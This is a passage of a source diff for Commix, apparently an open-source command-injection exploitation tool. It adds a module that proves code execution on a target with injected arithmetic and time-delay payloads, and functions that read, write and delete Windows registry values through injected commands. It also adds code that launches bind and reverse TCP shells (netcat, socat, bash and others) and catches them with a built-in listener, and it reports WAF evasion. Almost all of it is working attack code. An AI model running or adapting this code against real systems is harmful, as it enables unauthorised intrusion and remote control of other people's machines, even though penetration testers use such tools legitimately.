+ found = re.sub("^(?:" + line_mark + ")", "", shell[0], count=1)
+ """
+ The newlines an output ends with dropped, and only those.
+
+ A Windows line break is marked as one mark rather than two, so a trailing one taken off whole
+ took its carriage return with it: an output of 'a\r\nb\r\n' came back as 'a\r\nb', where a
+ substitution would have dropped the newline alone and handed back 'a\r\nb\r'. Dropping stops
+ at the first byte that is not a newline, which is what the carriage return left behind is -
+ so the pair's own mark is rewritten as the one standing for that byte, and nothing after it
+ is taken off.
+ """
+ found = re.sub("(?:" + new_line + "N)+$", "", found)
+ found = re.sub("(?:" + new_line + "B)$", new_line + "R", found)
+ for sequence, mark in marks:
+ found = found.replace(mark, sequence)
+ shell = found
+
+ else:
+ #Find the directory.
+ shell = ""
+ validator = None
+ previous_content = settings.LAST_OUTPUT_FILE_CONTENT
+ previous_validator = settings.LAST_OUTPUT_FILE_VALIDATOR
+ for attempt in range(settings.MAX_OUTPUT_FILE_READS):
+ response = fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique)
+ if response is not None:
+ shell = output_file_content(response)
+ validator = output_file_validator(response)
+ # What the file held before this command is what it still holds if the write has not landed.
+ if shell and not output_file_is_stale(shell, validator, previous_content, previous_validator):
+ break
+ if attempt + 1 < settings.MAX_OUTPUT_FILE_READS:
+ time.sleep(settings.OUTPUT_FILE_READ_DELAY)
+ if shell and output_file_is_stale(shell, validator, previous_content, previous_validator):
+ shell = ""
+ else:
+ settings.LAST_OUTPUT_FILE_CONTENT = shell
+ settings.LAST_OUTPUT_FILE_VALIDATOR = validator
+
+ return shell
+# eof
diff --git a/src/core/controller/proof.py b/src/core/controller/proof.py
new file mode 100644
index 0000000000..4f639057fb
--- /dev/null
+++ b/src/core/controller/proof.py
@@ -0,0 +1,330 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+import os
+import random
+import string
+import time
+
+from src.utils import settings
+from src.core.parse import cmdline as menu
+
+"""
+Evidence that the target really executed what was sent, rather than a restatement of what detection
+already reported ('--proof').
+
+Detection answers "does this parameter look injectable". A proof answers "run something only the
+target could answer, and show the answer" - so each claim here is an experiment with a control and
+a value drawn after the scan, which therefore cannot be sitting in a page, a cache or a reflection.
+"""
+
+# One entry per technique that proved the point, with the executor that reaches it.
+def register(technique, vuln_parameter, http_request_method, execute_cmd, boundary=None):
+ if not menu.options.proof:
+ return
+ for entry in settings.PROOF_EXECUTORS:
+ if entry[0] == technique and entry[1] == vuln_parameter:
+ return
+ # The executor reads settings.TIME_RELATED_ATTACK when it runs, and a technique found later
+ # changes it - so the value in force here is carried with it, as deferred actions do.
+ time_related = settings.TIME_RELATED_ATTACK
+ def run(cmd):
+ settings.TIME_RELATED_ATTACK = time_related
+ return execute_cmd(cmd)
+ settings.PROOF_EXECUTORS.append((technique, vuln_parameter, http_request_method, run, boundary))
+
+"""
+A label for a technique, said the way the rest of the run says it.
+"""
+def _name(technique):
+ from src.core.controller import checks
+ try:
+ name = checks.short_technique_label(technique).strip()
+ name = name[:-len(" technique")] if name.endswith(" technique") else name
+ except Exception:
+ name = str(technique)
+ return name[:1].upper() + name[1:]
+
+"""
+A field, bulleted the same way the injection-point summary bullets one (' * Technique: ...') -
+except the ones the run itself is described by, which sit above any parameter and bullet nothing.
+"""
+def _field(label, value, bullet=True):
+ prefix = (settings.SUB_CONTENT_SIGN_TYPE if bullet else "") + label + ": "
+ indent = " " * (len(label) + (6 if bullet else 2))
+ if isinstance(value, list):
+ if not value:
+ return ""
+ return "\n".join([prefix + value[0]] + [indent + _ for _ in value[1:]])
+ return prefix + str(value)
+
+"""
+What the proof had to get through. On a filtered target this is the part that matters: the evidence
+is worth more where the report also states that something was in the way and what carried data past it.
+"""
+def _evasion():
+ lines = []
+ if settings.WAF_ENABLED:
+ lines.append("protection detected in front of the application")
+ if settings.WAF_EVASION_APPLIED:
+ lines.append("evasion applied automatically for the identified target")
+ if menu.options.tamper:
+ lines.append("tamper scripts in effect: " + str(menu.options.tamper))
+ blocked = sorted(code for code in settings.WARNED_HTTP_ERROR_CODES
+ if str(code) in settings.WAF_BLOCK_HTTP_CODES)
+ if blocked:
+ lines.append("statuses a protection returns, seen during the run: " +
+ ", ".join(str(_) for _ in blocked))
+ if settings.ADAPTIVE_DELAY:
+ lines.append("requests were spaced out by " + str(round(settings.ADAPTIVE_DELAY, 1)) + "s after the target asked for it")
+ elif menu.options.delay:
+ lines.append("requests were delayed by " + str(round(float(menu.options.delay), 2)) + "s each")
+ return lines
+
+"""
+What the challenge cost, said only where it can be counted - not every technique sends through a
+path the counter sees, and a confident "0 requests" would be worse than saying nothing.
+"""
+def _cost(started, elapsed):
+ sent = settings.TOTAL_OF_REQUESTS - started
+ if sent > 0:
+ return "spent: " + str(sent) + " request" + "s"[sent == 1:] + ", " + str(round(elapsed, 2)) + "s"
+ return "spent: " + str(round(elapsed, 2)) + "s"
+
+"""
+Ask the target to work out something nobody could have written down in advance, and show what came
+back. The operands are drawn here, after the scan, so the answer exists nowhere until it is computed.
+"""
+def _challenge(execute_cmd, technique):
+ first = random.randint(1000000, 9999999)
+ second = random.randint(1000000, 9999999)
+ expected = str(first + second)
+ marker = "".join(random.choice(string.ascii_uppercase) for _ in range(6))
+ # Bracketed by a marker, so the answer cannot be mistaken for a number occurring anywhere else.
+ cmd = "echo " + marker + "$((" + str(first) + "+" + str(second) + "))" + marker
+ needle = marker + expected + marker
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ if settings.PS_ENABLED:
+ cmd = "powershell.exe -InputFormat none write ('" + marker + "'+(" + str(first) + "+" + str(second) + ")+'" + marker + "')"
+ else:
+ # 'set /a' writes the sum on its own, so there is nothing here to bracket it with.
+ cmd = "set /a " + str(first) + "+" + str(second)
+ needle = expected
+
+ started = settings.TOTAL_OF_REQUESTS
+ elapsed = time.time()
+ try:
+ answer = execute_cmd(cmd)
+ except Exception:
+ answer = ""
+ elapsed = time.time() - elapsed
+ answer = "".join(str(_) for _ in answer) if answer else ""
+
+ carried = needle in answer
+ lines = ["The target must work out " + str(first) + " + " + str(second) + " = " + expected + ", drawn at random after the scan started.",
+ "(the product is in no page, cache or reflection - only something that executes could return it.)",
+ "sent: " + cmd,
+ "answered: " + (answer.strip()[:120] if answer.strip() else "(nothing came back)"),
+ _cost(started, elapsed)]
+ return carried, expected, lines
+
+"""
+A technique that answers in time cannot hand the product back without spelling it out a character at
+a time, which costs a request per character. Asked as a question instead, it costs two: hold the
+response back if a*b is the product, and do not if a*b is the product plus one. Answering both ways
+round proves the target worked the arithmetic out - not merely that it can be made to wait.
+"""
+def _inferential_challenge(boundary, vuln_parameter, http_request_method, technique):
+ if not boundary:
+ return False, ["No boundary was kept for this point, so nothing could be asked of the target."]
+ separator, prefix, suffix, whitespace, url, timesec = boundary
+ from src.core.controller import execution
+ from src.core.requests import requests as _requests
+ from src.core.controller import checks
+
+ base = int(timesec or menu.options.timesec or settings.TIMESEC) or 3
+ payloads = execution.select_payloads_module(technique)
+ first = random.randint(1000000, 9999999)
+ second = random.randint(1000000, 9999999)
+ expected = first + second
+
+ def _ask(target_value):
+ # The technique's own conditional-delay payload, sent as one request and timed by the same code
+ # that times every other one - not the extraction wrapper built on top of it.
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ payload = payloads.windows_condition_check(separator, str(first) + "+" + str(second),
+ target_value, base)
+ else:
+ sum_expr = str(first) + "+" + str(second)
+ # Shell arithmetic expansion, the way every other shell condition in the run states its own -
+ # but an evaluated language does its addition bare, and '$((...))' is not its syntax at all.
+ if not menu.options.eval_sink:
+ sum_expr = "$((" + sum_expr + "))"
+ condition = sum_expr + " -eq " + str(target_value)
+ payload = payloads.condition_check(separator, condition, base, http_request_method)
+ if payload is None:
+ return None, None
+ # The executor hands back elapsed time only while this flag is set - detection may have since
+ # cleared it, and unset it hands back the raw response instead.
+ previous = settings.TIME_RELATED_ATTACK
+ settings.TIME_RELATED_ATTACK = True
+ try:
+ exec_time = _requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter,
+ http_request_method, url)[0]
+ finally:
+ settings.TIME_RELATED_ATTACK = previous
+ return payload, exec_time
+
+ started = settings.TOTAL_OF_REQUESTS
+ began = time.time()
+ true_payload, true_took = _ask(expected)
+ false_payload, false_took = _ask(expected + 1)
+ elapsed = time.time() - began
+
+ if true_payload is None or false_payload is None:
+ return False, ["This technique has no conditional-delay payload for the identified target."]
+
+ # The product must be the one that delays, and the product plus one must not - the pair is what
+ # rules out a target that is simply slow.
+ carried = checks.time_related_shell(true_took, base) and not checks.time_related_shell(false_took, base)
+ lines = ["The target must work out " + str(first) + " + " + str(second) + " and answer whether it is " +
+ str(expected) + ", drawn at random after the scan started.",
+ "(the delay is the answer: held back where the product matches, returned at once where it does not.)",
+ "matches: " + str(round(true_took, 2)) + "s",
+ "does not: " + str(round(false_took, 2)) + "s",
+ "(one request each, timed the way every other request in the run is.)",
+ _cost(started, elapsed)]
+ return carried, lines
+
+"""
+What an unmodified request costs, so the delays above are read against something.
+"""
+def _control_timing():
+ if not settings.RESPONSE_TIMES:
+ return []
+ average = sum(settings.RESPONSE_TIMES) / float(len(settings.RESPONSE_TIMES))
+ return ["Unmodified request: " + str(round(average, 3)) + "s on average over " + str(len(settings.RESPONSE_TIMES)) + " samples."]
+
+"""
+The control that rules out coincidence: the answer must not already be somewhere the run could have
+read it without the target computing anything.
+"""
+def _control(expected):
+ lines = []
+ page = settings.ORIGINAL_PAGE or ""
+ if page:
+ lines.append("The unmodified page does not contain the answer. (CONFIRMED)" if expected not in page
+ else "The answer is already there, in the unmodified page. (NOT CONFIRMED)")
+ if settings.RESPONSE_TIMES:
+ average = sum(settings.RESPONSE_TIMES) / float(len(settings.RESPONSE_TIMES))
+ lines.append("Unmodified request: " + str(round(average, 3)) + "s on average over " + str(len(settings.RESPONSE_TIMES)) + " samples.")
+ return lines
+
+"""
+Render the proof for every point that was confirmed, then write it beside the run's other output.
+"""
+def prove(filename, url):
+ if not menu.options.proof or settings.PROOF_DONE or not settings.PROOF_EXECUTORS:
+ return
+ settings.PROOF_DONE = True
+
+ info_msg = "Proving exploitation of the injection point(s) found."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ # The URL reached at quit() carries the injection marker and whatever the WAF probe appended, so
+ # the target reported is the one that was asked for.
+ target = menu.options.url or url or ""
+ fields = [_field("Target", target, bullet=False)]
+ if settings.USER_DEFINED_POST_DATA:
+ fields.append(_field("Data", settings.USER_DEFINED_POST_DATA, bullet=False))
+ if settings.TARGET_OS:
+ platform = "Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like"
+ if settings.TARGET_ARCH:
+ platform += " (" + settings.TARGET_ARCH + ")"
+ fields.append(_field("Back-end", platform, bullet=False))
+ # Stated above the findings, where what the run itself is described by belongs: every point below
+ # was reached under these conditions, so repeating them per parameter would say the same thing as
+ # many times as there are parameters. Left out where there was nothing in the way, rather than
+ # written as an empty field.
+ conditions = _evasion()
+ if conditions:
+ fields.append(_field("Conditions", conditions, bullet=False))
+ fields.append(_field("Verified", time.strftime("%Y-%m-%d %H:%M:%S"), bullet=False))
+
+ proven = 0
+ prev_parameter = None
+ first_group = True
+ for technique, vuln_parameter, http_request_method, execute_cmd, boundary in settings.PROOF_EXECUTORS:
+ # A technique that answers in time is proved on the clock; one that carries output is proved by
+ # what came back.
+ if technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED):
+ carried, challenge = _inferential_challenge(boundary, vuln_parameter, http_request_method, technique)
+ expected = None
+ else:
+ carried, expected, challenge = _challenge(execute_cmd, technique)
+ proven += int(carried)
+ # One header per parameter, the same way the injection-point summary groups its own findings -
+ # a technique proved right after another on the same parameter does not restate it.
+ if not first_group:
+ fields.append("")
+ first_group = False
+ current_parameter = (vuln_parameter, http_request_method)
+ if current_parameter != prev_parameter:
+ from src.core.controller import checks
+ fields.append(checks.finding_parameter_line(str(vuln_parameter), str(http_request_method)))
+ prev_parameter = current_parameter
+ fields.append(_field("Technique", _name(technique)))
+ fields.append(_field("Challenge", challenge))
+ control = _control(expected) if expected else _control_timing()
+ if control:
+ fields.append(_field("Control", control))
+ if carried:
+ through = " through the protection in front of the application" if settings.WAF_ENABLED else ""
+ if expected:
+ verdict = ["The target executed what was sent and returned the result" + through + ". (PROVEN)"]
+ else:
+ verdict = ["The target worked out the value and answered it through the delay" + through + ". (PROVEN)"]
+ else:
+ verdict = ["The answer did not come back through this technique. (NOT PROVEN)"]
+ if settings.WAF_ENABLED:
+ verdict.append("A protection is interfering, so the point may be real with its output channel blocked.")
+ verdict.append("=> re-test with '--tamper', then prove again")
+ else:
+ verdict.append("=> treat it as unconfirmed unless a side effect proves otherwise (e.g. '--os-shell')")
+ fields.append(_field("Verdict", verdict))
+
+ total = len(settings.PROOF_EXECUTORS)
+ if proven == total:
+ header = "Proved exploitation of the following injection point(s)"
+ elif proven:
+ header = "Proved exploitation of " + str(proven) + " of " + str(total) + " reported injection point(s)"
+ else:
+ header = "Could NOT prove exploitation of the reported injection point(s)"
+
+ data = settings.END_LINE.LF.join(fields)
+ settings.print_data_to_stdout(header + ":" +
+ settings.END_LINE.LF + data)
+ try:
+ path = os.path.join(os.path.dirname(filename) or ".", "proof.txt")
+ with open(path, "w", encoding=settings.DEFAULT_CODEC) as proof_file:
+ proof_file.write(settings.strip_ansi_codes(header + ":" + settings.END_LINE.LF +
+ data + settings.END_LINE.LF))
+ info_msg = "Proof of exploitation written to '" + path + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ except OSError as err_msg:
+ from src.utils import logs
+ logs.write_failure(path, err_msg)
+
+# eof
diff --git a/src/core/controller/registry_access.py b/src/core/controller/registry_access.py
new file mode 100644
index 0000000000..5c23ead831
--- /dev/null
+++ b/src/core/controller/registry_access.py
@@ -0,0 +1,84 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+from src.core.parse import cmdline as menu
+from src.utils import settings
+from src.core.controller import checks
+from src.core.controller import execution
+
+"""
+Read a Windows registry key value.
+"""
+def registry_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ injector = execution.select_injector(technique)
+ cmd, key, value = checks.registry_read_cmd()
+ execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, catch_time_error=True)
+ shell, fresh = execute_cmd(cmd)
+ checks.registry_read_status(shell, key, value, filename, settings.TIME_RELATED_ATTACK and fresh)
+
+"""
+Write a Windows registry key value.
+"""
+def registry_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ injector = execution.select_injector(technique)
+ cmd, key, value = checks.registry_write_cmd()
+ execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, catch_time_error=True)
+ shell, fresh = execute_cmd(cmd)
+ written = checks.registry_write_status(shell, key, value, settings.TIME_RELATED_ATTACK and fresh)
+ # Done right away, not deferred to quit() - see the matching note in file_access.py's file_write().
+ if written and menu.options.cleanup:
+ checks.cleanup_registry_value(lambda c: execute_cmd(c)[0], key, value)
+
+"""
+Delete a Windows registry key, or a single value of it.
+"""
+def registry_delete(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ injector = execution.select_injector(technique)
+ cmd, key, value = checks.registry_delete_cmd()
+ execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, catch_time_error=True)
+ shell, fresh = execute_cmd(cmd)
+ checks.registry_delete_status(shell, key, value, settings.TIME_RELATED_ATTACK and fresh)
+
+"""
+Check the defined options
+"""
+def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ if settings.TARGET_OS != settings.OS.WINDOWS:
+ warn_msg = "The registry access options only apply to a Windows target, so they are skipped here."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.REGISTRY_ACCESS_DONE = True
+ return
+
+ if menu.options.reg_add:
+ registry_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ settings.REGISTRY_ACCESS_DONE = True
+
+ if menu.options.reg_read:
+ registry_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ settings.REGISTRY_ACCESS_DONE = True
+
+ if menu.options.reg_del:
+ registry_delete(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ settings.REGISTRY_ACCESS_DONE = True
+
+"""
+Check stored session
+"""
+def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique):
+ # Target-wide - run once, on the first successful technique.
+ if not settings.REGISTRY_ACCESS_DONE and menu.registry_options():
+ do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+
+# eof
diff --git a/src/core/controller/shell_options.py b/src/core/controller/shell_options.py
new file mode 100755
index 0000000000..012db428b7
--- /dev/null
+++ b/src/core/controller/shell_options.py
@@ -0,0 +1,356 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+import socket
+import time
+import threading
+from src.utils import common
+from src.utils import settings
+from src.core.shells import bind_tcp
+from src.core.shells import modes
+from src.core.shells import reverse_tcp
+from src.core.shells import session_relay
+from src.core.controller import checks
+
+"""
+Prompts [(b)ack/(q)uit], double-Ctrl-C-safe - shared by a launch/accept interrupt and the relay session's own.
+"""
+def back_or_quit_prompt(msg, filename, url):
+ choice = "b"
+ try:
+ while True:
+ choice = (common.read_input(msg, default="b", check_batch=False) or "b").strip().lower()
+ if choice in ("b", "q"):
+ break
+ common.invalid_option(choice)
+ except KeyboardInterrupt:
+ # Erase it, or the next message overwrites the prompt and leaves its tail behind.
+ settings.clear_current_line()
+ choice = "q"
+ if choice == "q":
+ # Full teardown (logs notification, cleanups), not a bare SystemExit.
+ checks.quit(filename, url, hard_exit=True)
+ return None
+
+"""
+Runs execute_cmd(cmd) for a shell "run", offering (b)ack/(q)uit on Ctrl-C or a request timeout instead of crashing.
+"""
+def _execute_shell_launch(execute_cmd, cmd, filename, url):
+ try:
+ return execute_cmd(cmd)
+ except (KeyboardInterrupt, SystemExit) as exc:
+ settings.clear_current_line()
+ if isinstance(exc, KeyboardInterrupt):
+ msg = "Shell launch interrupted. [(b)ack/(q)uit] "
+ else:
+ msg = "Timed out - likely means the shell connected and is still open. [(b)ack/(q)uit] "
+ return back_or_quit_prompt(msg, filename, url)
+
+"""
+Reports why a backgrounded payload send failed - its own output is suppressed, so this is the only place it surfaces.
+"""
+def _report_send_failure(send_result):
+ if send_result.get("error"):
+ err_msg = "Sending the payload failed: " + str(send_result["error"])
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ elif send_result.get("shell"):
+ info_msg = "The target returned output for the payload (usually the interpreter's own error):"
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ settings.command_execution_output(send_result["shell"])
+
+"""
+Reports a bind shell that never came up, plus whatever the backgrounded send has to say about it.
+"""
+def _report_bind_failure(send_result):
+ err_msg = "Could not connect to " + settings.RHOST + ":" + settings.LPORT + " - the shell likely "
+ err_msg += "did not start (missing binary/interpreter on the target, or the port is firewalled/unreachable)."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ _report_send_failure(send_result)
+
+"""
+Tries to connect to a just-launched bind shell, the only reliable way to know whether it came up.
+Pass keep_open=True to get the connected socket back instead of a bool (for the built-in handler).
+"""
+def _probe_bind_connection(rhost, lport, retries=3, delay=1.5, timeout=3, keep_open=False):
+ for attempt in range(retries):
+ if attempt > 0:
+ time.sleep(delay)
+ try:
+ sock = socket.create_connection((rhost, int(lport)), timeout=timeout)
+ if keep_open:
+ sock.settimeout(None)
+ return sock
+ sock.close()
+ return True
+ except Exception:
+ continue
+ return None if keep_open else False
+
+"""
+Checks whether something is already listening on LHOST:LPORT here - only a successful bind() means "no listener".
+Pass keep_listening=True to get the bound+listening socket back instead of a bool (for the built-in handler).
+"""
+def _local_listener_active(lhost, lport, keep_listening=False):
+ probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ probe.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 if keep_listening else 0)
+ bind_host = lhost if lhost not in ("", "0.0.0.0") else "0.0.0.0"
+ try:
+ probe.bind((bind_host, int(lport)))
+ if keep_listening:
+ probe.listen(1)
+ return probe
+ probe.close()
+ return False
+ except Exception:
+ probe.close()
+ return None if keep_listening else True
+
+# Shell name -> the binary its payload needs on the target ("python" resolves its own interpreter).
+_REQUIRED_BINARY = {
+ "netcat/traditional": "nc.traditional",
+ "netcat/busybox": "busybox",
+ "netcat/openbsd": "nc",
+ "php": "php",
+ "perl": "perl",
+ "ruby": "ruby",
+ "socat": "socat",
+ "ncat": "ncat",
+ "bash": "bash",
+}
+
+"""
+Checks the binary a payload needs is on the target - command substitution swallows "not found", so it would
+otherwise fail silently. Returns False when the user would rather not send a payload that cannot work.
+"""
+def _binary_available(execute_cmd):
+ binary = _REQUIRED_BINARY.get(settings.LAST_SELECTED_MODULE)
+ if not binary:
+ return True
+ try:
+ found = execute_cmd("command -v " + binary)
+ except (Exception, SystemExit):
+ return True
+ if found and binary in str(found):
+ return True
+ err_msg = "Unable to find '" + binary + "' on the target."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ msg = "Do you want to send the payload anyway? [y/N] "
+ return common.read_input(msg, default="N", check_batch=True) in settings.CHOICE_YES
+
+"""
+If HANDLER isn't already on (and the module even supports it), offers to turn it on for this run.
+"""
+def _maybe_prompt_for_handler():
+ if settings.HANDLER or settings.LAST_SELECTED_MODULE.startswith(("meterpreter/", "web_delivery/")):
+ return
+ msg = "Do you want to use the built-in handler to catch this shell (instead of an external listener)? [y/N] "
+ if common.read_input(msg, default="N", check_batch=True) in settings.CHOICE_YES:
+ settings.HANDLER = True
+
+"""
+The shared loop behind both TCP modes: run the mode's prompt, then hand its payload to the
+mode's own launch step until the mode is left.
+"""
+def _tcp_config_generic(mode_name, mode_options, launch, other_config, execute_cmd, cmd, go_back, go_back_again, filename, url, separator):
+ flag, other_mode = modes.MODE_FLAGS[mode_name]
+ setattr(settings, flag, True)
+
+ while True:
+ try:
+ cmd = mode_options(separator, filename, url)
+ except KeyboardInterrupt:
+ checks.handle_exploitation_interrupt(filename, url)
+ continue
+ result = checks.check_tcp_mode_result(cmd, other_mode)
+ if result != None:
+ if result == 0:
+ go_back_again = False
+ elif result == 1 or result == 2:
+ go_back_again = True
+ setattr(settings, flag, False)
+ elif result == 3:
+ setattr(settings, flag, False)
+ other_config(execute_cmd, cmd, go_back, go_back_again, filename, url, separator)
+ return go_back, go_back_again
+
+ if not _binary_available(execute_cmd):
+ continue
+ _maybe_prompt_for_handler()
+ launch(cmd)
+
+ info_msg = "Returning to the mode: '" + mode_name + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+"""
+Configure the bind TCP shell, dispatching command execution through the given executor callback.
+"""
+def bind_tcp_config_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator=""):
+ # Send the payload and hand the connection over to the relay.
+ def launch(cmd):
+ send_result = {}
+ threading.Thread(target=session_relay.run_payload_send, args=(execute_cmd, cmd, send_result), daemon=True).start()
+
+ if settings.HANDLER and not settings.LAST_SELECTED_MODULE.startswith("meterpreter/"):
+ info_msg = "Started bind TCP handler against " + settings.RHOST + ":" + settings.LPORT + "."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ conn = _probe_bind_connection(settings.RHOST, settings.LPORT, keep_open=True)
+ if conn:
+ info_msg = "Session opened (" + settings.RHOST + ":" + settings.LPORT + ")."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ session_relay.interactive_relay(conn, filename, url)
+ else:
+ _report_bind_failure(send_result)
+ else:
+ info_msg = "Verifying the connection to " + settings.RHOST + ":" + settings.LPORT + "..."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ if _probe_bind_connection(settings.RHOST, settings.LPORT):
+ info_msg = "Connected. Use 'nc " + settings.RHOST + " " + settings.LPORT + "' to interact with the shell."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ else:
+ _report_bind_failure(send_result)
+
+ return _tcp_config_generic("bind_tcp", bind_tcp.bind_tcp_options, launch, reverse_tcp_config_generic,
+ execute_cmd, cmd, go_back, go_back_again, filename, url, separator)
+
+"""
+Configure the reverse TCP shell, dispatching command execution through the given executor callback.
+"""
+def reverse_tcp_config_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator=""):
+ # Hand the connection to Metasploit, or to the built-in relay where it is not in use.
+ def launch(cmd):
+ if settings.HANDLER and not settings.LAST_SELECTED_MODULE.startswith(("meterpreter/", "web_delivery/")):
+ server = _local_listener_active(settings.LHOST, settings.LPORT, keep_listening=True)
+ if server is None:
+ warn_msg = "Could not listen on " + settings.LHOST + ":" + settings.LPORT + " - either something is already "
+ warn_msg += "bound there, or that address is not local to this host. Falling back to the external-listener workflow for this run."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ shell = _execute_shell_launch(execute_cmd, cmd, filename, url)
+ if shell:
+ settings.command_execution_output(shell)
+ else:
+ info_msg = "Started reverse TCP handler on " + settings.LHOST + ":" + settings.LPORT + "."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ server.settimeout(session_relay.ACCEPT_TIMEOUT)
+ result = {}
+ sender = threading.Thread(target=session_relay.run_payload_send, args=(execute_cmd, cmd, result), daemon=True)
+ sender.start()
+ try:
+ try:
+ conn, addr = server.accept()
+ except socket.timeout:
+ err_msg = "No connection observed back on " + settings.LHOST + ":" + settings.LPORT + " - the reverse "
+ err_msg += "shell likely did not come back (target unreachable, missing interpreter on the target, or blocked egress)."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ _report_send_failure(result)
+ except KeyboardInterrupt:
+ back_or_quit_prompt("Waiting for the callback interrupted. [(b)ack/(q)uit] ", filename, url)
+ else:
+ info_msg = "Session opened (" + settings.LHOST + ":" + settings.LPORT
+ info_msg += " -> " + str(addr[0]) + ":" + str(addr[1]) + ")."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ session_relay.interactive_relay(conn, filename, url)
+ finally:
+ server.close()
+ else:
+ # HANDLER on but still here means the shell needs its own listener, so say why.
+ if settings.HANDLER:
+ warn_msg = "The built-in handler cannot catch a '" + settings.LAST_SELECTED_MODULE + "' shell "
+ warn_msg += "(it needs Metasploit's own handler). Using the external-listener workflow."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+ listener_was_active = _local_listener_active(settings.LHOST, settings.LPORT)
+ if not listener_was_active:
+ warn_msg = "No listener detected on " + settings.LHOST + ":" + settings.LPORT + ". "
+ warn_msg += "Start one first (e.g. 'nc -lvp " + settings.LPORT + "') or the callback will be missed."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ else:
+ info_msg = "Check your external listener on " + settings.LHOST + ":" + settings.LPORT + " for the connection."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ send_result = {}
+ threading.Thread(target=session_relay.run_payload_send, args=(execute_cmd, cmd, send_result), daemon=True).start()
+ time.sleep(2)
+ # Only catches a fast failure - a send still in flight is the normal case and reports nothing.
+ if send_result.get("error"):
+ err_msg = "Sending the payload failed: " + str(send_result["error"])
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+
+ return _tcp_config_generic("reverse_tcp", reverse_tcp.reverse_tcp_options, launch, bind_tcp_config_generic,
+ execute_cmd, cmd, go_back, go_back_again, filename, url, separator)
+
+TCP_MODE_CONFIGS = {
